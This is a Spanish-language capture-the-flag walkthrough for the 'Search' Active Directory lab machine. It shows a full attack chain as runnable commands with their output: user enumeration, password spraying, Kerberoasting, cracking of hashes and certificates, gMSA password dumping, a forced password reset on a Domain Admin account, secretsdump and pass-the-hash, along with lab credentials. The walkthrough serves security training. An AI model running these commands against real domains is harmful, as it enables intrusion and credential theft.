Box Info
| Name | Search |
|---|---|
| Release Date | 07 Mar, 2020 |
| OS | Windows |
| Rated Difficulty | Hard |
- Ping
ping -c 3 10.10.11.129PING 10.10.11.129 (10.10.11.129) 56(84) bytes of data.64 bytes from 10.10.11.129: icmp_seq=1 ttl=127 time=131 ms64 bytes from 10.10.11.129: icmp_seq=2 ttl=127 time=132 ms64 bytes from 10.10.11.129: icmp_seq=3 ttl=127 time=131 msRecon
sudo nmap -p- --open --min-rate 5000 -n -vv -Pn 10.10.11.129 -oG allPortsnmap -sCV -p 53,80,88,135,139,389,443,445,464,593,636,3268,3269,8172,9389,49666,49675,49676,49707,49719 10.10.11.129 -oN targetedNmap scan report for 10.10.11.129Host is up (0.13s latency).
PORT STATE SERVICE VERSION53/tcp open domain Simple DNS Plus80/tcp open http Microsoft IIS httpd 10.0| http-methods:|_ Potentially risky methods: TRACE|_http-server-header: Microsoft-IIS/10.0|_http-title: Search — Just Testing IIS88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-07-12 14:13:27Z)135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: search.htb0., Site: Default-First-Site-Name)|_ssl-date: 2025-07-12T14:14:58+00:00; 0s from scanner time.| ssl-cert: Subject: commonName=research| Not valid before: 2020-08-11T08:13:35|_Not valid after: 2030-08-09T08:13:35443/tcp open ssl/http Microsoft IIS httpd 10.0| ssl-cert: Subject: commonName=research| Not valid before: 2020-08-11T08:13:35|_Not valid after: 2030-08-09T08:13:35| tls-alpn:|_ http/1.1| http-methods:|_ Potentially risky methods: TRACE|_ssl-date: 2025-07-12T14:14:58+00:00; 0s from scanner time.|_http-title: Search — Just Testing IIS|_http-server-header: Microsoft-IIS/10.0445/tcp open microsoft-ds?464/tcp open kpasswd5?593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: search.htb0., Site: Default-First-Site-Name)|_ssl-date: 2025-07-12T14:14:58+00:00; 0s from scanner time.| ssl-cert: Subject: commonName=research| Not valid before: 2020-08-11T08:13:35|_Not valid after: 2030-08-09T08:13:353268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: search.htb0., Site: Default-First-Site-Name)| ssl-cert: Subject: commonName=research| Not valid before: 2020-08-11T08:13:35|_Not valid after: 2030-08-09T08:13:35|_ssl-date: 2025-07-12T14:14:58+00:00; 0s from scanner time.3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: search.htb0., Site: Default-First-Site-Name)| ssl-cert: Subject: commonName=research| Not valid before: 2020-08-11T08:13:35|_Not valid after: 2030-08-09T08:13:35|_ssl-date: 2025-07-12T14:14:58+00:00; 0s from scanner time.8172/tcp open ssl/http Microsoft IIS httpd 10.0|_ssl-date: 2025-07-12T14:14:58+00:00; 0s from scanner time.|_http-title: Site doesn't have a title.| tls-alpn:|_ http/1.1|_http-server-header: Microsoft-IIS/10.0| ssl-cert: Subject: commonName=WMSvc-SHA2-RESEARCH| Not valid before: 2020-04-07T09:05:25|_Not valid after: 2030-04-05T09:05:259389/tcp open mc-nmf .NET Message Framing49666/tcp open msrpc Microsoft Windows RPC49675/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.049676/tcp open msrpc Microsoft Windows RPC49707/tcp open msrpc Microsoft Windows RPC49719/tcp open msrpc Microsoft Windows RPCService Info: Host: RESEARCH; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:| smb2-time:| date: 2025-07-12T14:14:21|_ start_date: N/A| smb2-security-mode:| 3:1:1:|_ Message signing enabled and required- Domain
echo "10.10.11.129 search.htb research.search.htb" | sudo tee -a /etc/hosts- Web

Encontramos informacion sobre los nombres del team (posiblemente encontremos algun nombre valido para el dominio)

cat users| grep -v "Image\|Manager" | grep .Keely LyonsDax SantiagoSierra FryeKyla StewartKaiara SpencerDave SimpsonBen ThompsonChris StewartHope SharpEs importante observar con atención una de las imágenes que se encuentran en el slide show que van cambiando (CTF Like)

Si hacemos zoom podemos ver lo que parece ser una credencial
hope.sharp:IsolationIsKey?Enumeration Directory
gobuster dir -u http://10.10.11.129 -w /usr/share/wordlists/dirb/common.txt/certenroll (Status: 301) [Size: 154] [--> http://10.10.11.129/certenroll/]/certsrv (Status: 401) [Size: 1293]/css (Status: 301) [Size: 147] [--> http://10.10.11.129/css/]/fonts (Status: 301) [Size: 149] [--> http://10.10.11.129/fonts/]/Images (Status: 301) [Size: 150] [--> http://10.10.11.129/Images/]/images (Status: 301) [Size: 150] [--> http://10.10.11.129/images/]/index.html (Status: 200) [Size: 44982]/js (Status: 301) [Size: 146] [--> http://10.10.11.129/js/]/staff (Status: 403) [Size: 1233]Volviendo encontramos un directorio interesante staff a demas de certsrv y certenroll
El directorio certsrv se refiere al servicio web de inscripción de certificados dentro de los Servicios de Certificados de Active Directory.

Pero para entrar al directorio certsrv ocupamos de credenciales.
Create users
Tenemos suficientes usuarios y una credencial, pero en el AD es muy comun que el nombre de usuario tenga una estructura por ejemplo: {lastname}.{firstname} o {firstletter}.{lastname}.
Para tener distintos nombres con distintas estructuras usaremos un script para generarlo y de ese modo encontrar usuarios validos dentro del dominio.
https://github.com/urbanadventurer/username-anarchy
./username-anarchy -i users > usernames.txtEnumerate Users
nxc smb 10.10.11.129 -u usernames.txt -p '' --kerberos | tee ../output-kerb.txtLa estrucutra de los usernames es {firstname}.{lastname}
Algunos usuarios aparecen como “FAILED” a diferencia de los UNKNOW, llaman la atencion que probablemente sean usuarios validos por tener una respuesta distinta.
cat output-kerberos.txt | grep FAILEDcat output-kerberos.txt | grep KDC_ERR_PREAUTH_FAILED | cut -d '\' -f2 | cut -d ':' -f1SMB 10.10.11.129 445 RESEARCH [-] search.htb\keely.lyons: KDC_ERR_PREAUTH_FAILEDSMB 10.10.11.129 445 RESEARCH [-] search.htb\dax.santiago: KDC_ERR_PREAUTH_FAILEDSMB 10.10.11.129 445 RESEARCH [-] search.htb\sierra.frye: KDC_ERR_PREAUTH_FAILEDkeely.lyonsdax.santiagosierra.fryehope.sharpPasswords Spraying
Realizamos un ataque Password Spraying que es probar una contraseña contra diferentes usuarios.
nxc smb 10.10.11.129 -u validusers -p 'IsolationIsKey?' --continue-on-successSMB 10.10.11.129 445 RESEARCH [*] Windows 10 / Server 2019 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False)SMB 10.10.11.129 445 RESEARCH [-] search.htb\keely.lyons:IsolationIsKey? STATUS_LOGON_FAILURESMB 10.10.11.129 445 RESEARCH [-] search.htb\dax.santiago:IsolationIsKey? STATUS_LOGON_FAILURESMB 10.10.11.129 445 RESEARCH [-] search.htb\sierra.frye:IsolationIsKey? STATUS_LOGON_FAILURESMB 10.10.11.129 445 RESEARCH [+] search.htb\hope.sharp:IsolationIsKey?- Credentials
hope.sharp:IsolationIsKey?Auth as Edgar.Jacobs
Kerberoasting Attack (TGS)
nxc ldap 10.10.11.129 -u 'hope.sharp' -p 'IsolationIsKey?' --kerberoasting kerb.txt$krb5tgs$23$*web_svc$SEARCH.HTB$search.htb\web_svc*$650bc56c2e926ece29da421b1cd7fc3b$9c53a2140cdee3b6cf73b479d63e242fe822ea4ad61e2bf817773fa774c544b5eab8089{SNIP...}- Method 2
impacket-GetUserSPNs 'search.htb/hope.sharp:IsolationIsKey?' -dc-ip 10.10.11.129 -request
Crack Hash
john kerb.txt -w=/usr/share/wordlists/rockyou.txtweb_svc:@3ONEmillionbabyEnumerate More Users
rpcclient -U 'web_svc%@3ONEmillionbaby' 10.10.11.129 -c 'enumdomusers' | grep -oP '\[.*?\]' | grep -v "0x" | tr -d '[]'{SNIP...}Password Spraying
nxc smb 10.10.11.129 -u moreusers -p '@3ONEmillionbaby' --continue-on-successSMB 10.10.11.129 445 RESEARCH [+] search.htb\Edgar.Jacobs:@3ONEmillionbabyAhora tenemos una nueva credencial.
BloodHound
En este punto con credenciales podemos ejecutar bloodhound-python contra el dominio.
bloodhound-python -d search.htb -u web_svc -p '@3ONEmillionbaby' -ns 10.10.11.129 --zip -c AllShell as Sierra.Frye
SmbMap
En lo que carga y subimos el archivo para vizualizar el bloodhound, con las nuevas credenciales de edgar.jacobs podemos listar los archivos compartidos por el servicio smb.
smbmap -H 10.10.11.129 -u 'edgar.jacobs' -p '@3ONEmillionbaby' --depth 10
smbmap -H 10.10.11.129 -u 'edgar.jacobs' -p '@3ONEmillionbaby' -r 'RedirectedFolders$' --depth 10Podemos ver que el usuario sierra.frye tiene el archivo users.txt pero no tenemos permisos para vizualizarlo, quizas teniendo las credenciales de sierra.frye podamos vizualizarlo.

Para el caso de edgar.jacobs podemos descargar el archivo xlsx para poder ver su contenido.
smbmap -H 10.10.11.129 -u 'edgar.jacobs' -p '@3ONEmillionbaby' -r 'RedirectedFolders$' --depth 10 --download 'RedirectedFolders$//edgar.jacobs/Desktop/Phishing_Attempt.xlsx'Phishing_Attempt.xlsx
libreoffice phishing.xlsx

En la parte de abajo vemos que tiene un candado, quiere decir que necesitamos de una contraseña para poder vizualizar esas contraseñas almacenadas. Existe una manera muy sencilla y es cambiar la extension de xlsx -> zip abrimos el zip solo para vizualizar su contenido y seguido editaremos el sheet2.xml que es el que tiene las contraseñas protegidas.

Abrimos con algun coder y borramos la parte de abajo que seria lo que esta protegiendo.

Guardamos y volvemos a colocar la extension xlsx y de esa manera burlamos la password (lol). Ahora podemos mirar las contraseñas.

Haremos una lista, guardaremos por separado los usuarios y las contraseñas para realizar una validacion de usuarios y contraseñas.
nxc smb 10.10.11.129 -u usersxlsx -p passxlsxSierra.Frye:$$49=wide=STRAIGHT=jordan=28$$18Validamos las credenciales.
nxc smb 10.10.11.129 -u sierra.frye -p '$$49=wide=STRAIGHT=jordan=28$$18'SMB 10.10.11.129 445 RESEARCH [+] search.htb\sierra.frye:$$49=wide=STRAIGHT=jordan=28$$18Access to Staff Web Page
Con las credenciales de sierra podemos descargar los archivos compartidos.
smbmap -H 10.10.11.129 -u 'sierra.frye' -p '$$49=wide=STRAIGHT=jordan=28$$18' -r 'RedirectedFolders$' --depth 10smbmap -H 10.10.11.129 -u 'sierra.frye' -p '$$49=wide=STRAIGHT=jordan=28$$18' -r 'RedirectedFolders$' --depth 10 --download 'RedirectedFolders$//sierra.frye/Downloads/Backups/search-RESEARCH-CA.p12'- staff.pfx
- search-RESEARCH-CA.p12
Crack PFX
pfx2john staff.pfx > hashpfxjohn hashpfx -w=/usr/share/wordlists/rockyou.txt
misspissyCon esta contraseña la podemos usar para importar nuestro certificado.

PowerShell Web
https://10.10.11.129/
Nos logeamos como sierra.frye y obtenemos una web shell

Shell as Tristan.Davies
ReadGMSAPassword
El usuario sierra.frye tiene un privilegio ReadGMSAPassword al usuario BIR-ADFS-GMSA$, en lo que enumeramos en bloodhound los anteriores usuarios no tenian nada interesante.

gMSA
Dumpeamos.
python3 gMSADumper.py -u sierra.frye -p '$$49=wide=STRAIGHT=jordan=28$$18' -d search.htb
Users or groups who can read password for BIR-ADFS-GMSA$: > ITSecBIR-ADFS-GMSA$:::e1e9fd9e46d0d747e1595167eedcec0fBIR-ADFS-GMSA$:aes256-cts-hmac-sha1-96:06e03fa99d7a99ee1e58d795dccc7065a08fe7629441e57ce463be2bc51acf38BIR-ADFS-GMSA$:aes128-cts-hmac-sha1-96:dc4a4346f54c0df29313ff8a21151a42- Method 2
nxc ldap 10.10.11.129 -u sierra.frye -p '$$49=wide=STRAIGHT=jordan=28$$18' --gmsaLDAP 10.10.11.129 389 RESEARCH [*] Windows 10 / Server 2019 Build 17763 (name:RESEARCH) (domain:search.htb)LDAPS 10.10.11.129 636 RESEARCH [+] search.htb\sierra.frye:$$49=wide=STRAIGHT=jordan=28$$18LDAPS 10.10.11.129 636 RESEARCH [*] Getting GMSA PasswordsLDAPS 10.10.11.129 636 RESEARCH Account: BIR-ADFS-GMSA$ NTLM: e1e9fd9e46d0d747e1595167eedcec0f PrincipalsAllowedToReadPassword: ITSecGenericAll
La maquina BIR-ADFS-GMSA$ tiene un privilegio GenericAll hacia la maquina tristan.davies

bloodyAD --dc-ip "10.10.11.129" -d "search.htb" -u 'BIR-ADFS-GMSA$' -p ':e1e9fd9e46d0d747e1595167eedcec0f' set password tristan.davies 'P@ssword123!'
El usuario tristan.davies es parte del grupo DOMAIN ADMINS quiere decir que es un administrador del dominio.

Como el usuario tristan.davies es parte del grupo con mayor privilegio Domain Admins podemos dumpear los hashes de todos los usuarios.
/usr/bin/impacket-secretsdump search.htb/tristan.davies:'P@ssword123!'@search.htb
- Validate Credentials
nxc ldap 10.10.11.129 -u Administrator -H '5e3c0abbe0b4163c5612afe25c69ced6'LDAP 10.10.11.129 389 RESEARCH [*] Windows 10 / Server 2019 Build 17763 (name:RESEARCH) (domain:search.htb)LDAP 10.10.11.129 389 RESEARCH [+] search.htb\Administrator:5e3c0abbe0b4163c5612afe25c69ced6 (Pwn3d!)impacket-wmiexec tristan.davies@search.htb -hashes 'aad3b435b51404eeaad3b435b51404ee:c5f2d015f316018f6405522825689ffe'
